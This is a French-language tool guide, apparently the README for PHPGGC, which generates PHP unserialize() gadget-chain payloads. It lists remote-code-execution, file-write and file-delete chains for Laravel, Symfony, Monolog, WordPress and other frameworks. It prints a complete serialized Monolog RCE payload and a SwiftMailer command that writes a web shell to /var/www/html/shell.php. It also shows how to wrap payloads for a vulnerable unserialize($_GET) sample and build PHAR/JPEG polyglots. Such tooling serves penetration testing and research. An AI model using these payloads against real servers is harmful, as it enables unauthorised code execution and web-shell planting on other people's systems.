
PHPGGC est une bibliothèque de payloads PHP unserialize() accompagnée d'un outil pour les générer, depuis la ligne de commande ou par programmation.
PHPGGC est une bibliothèque de payloads unserialize() accompagnée d'un outil pour les générer, depuis la ligne de commande ou par programmation. Lorsque vous rencontrez un unserialize sur un site dont vous n'avez pas le code, ou simplement lorsque vous essayez de construire un exploit, cet outil vous permet de générer le payload sans avoir à passer par les étapes fastidieuses de recherche et de combinaison de gadgets. On peut le considérer comme l'équivalent de frohoff's ysoserial, mais pour PHP. Actuellement, l'outil prend en charge les chaînes de gadgets telles que : CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii et ZendFramework.
PHP >= 5.6 est requis pour exécuter PHPGGC.
Exécutez ./phpggc -l pour obtenir la liste des chaînes de gadgets :
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Filtrer les chaînes de gadgets :
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Chaque chaîne de gadgets possède :
__destruct(), __toString(), offsetGet(), ...)Utilisez -i pour obtenir des informations détaillées sur une chaîne :
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Pour les gadgets RCE, la commande exécutée peut avoir 3 types de formatage selon le fonctionnement du gadget :
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idUne fois que vous avez sélectionné une chaîne, exécutez ./phpggc <gadget-chain> [parameters] pour obtenir le payload.
Par exemple, pour obtenir un payload pour Monolog, vous feriez :
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Pour une écriture de fichier avec SwiftMailer, vous feriez :
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
L'option --wrapper (-w) vous permet de définir un fichier PHP contenant les fonctions suivantes :
process_parameters(array $parameters): Appelée juste avant generate(), permet de modifier les paramètresprocess_object(object $object): Appelée juste avant serialize(), permet de modifier l'objetprocess_serialized(string $serialized): Appelée juste après serialize(), permet de modifier la chaîne sérialiséePar exemple, si le code vulnérable ressemble à ceci :
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Vous pourriez utiliser une chaîne __toString(), en l'enveloppant comme ceci :
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
Et vous appelleriez phpggc comme ceci :
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
Lors du BlackHat US 2018, @s_n_t a publié PHARGGC, un fork de PHPGGC qui, au lieu de construire un payload sérialisé, construit un fichier PHAR complet. Ce fichier PHAR contient des données sérialisées et peut donc être utilisé pour diverses techniques d'exploitation (file_exists, fopen, etc.). Le document est disponible ici.
Les archives PHAR existent en trois formats différents : PHAR, TAR et ZIP. Les trois sont pris en charge par PHPGGC.
Des fichiers polyglottes peuvent être générés à l'aide de --phar-jpeg (-pj). D'autres options sont disponibles (utilisez -h).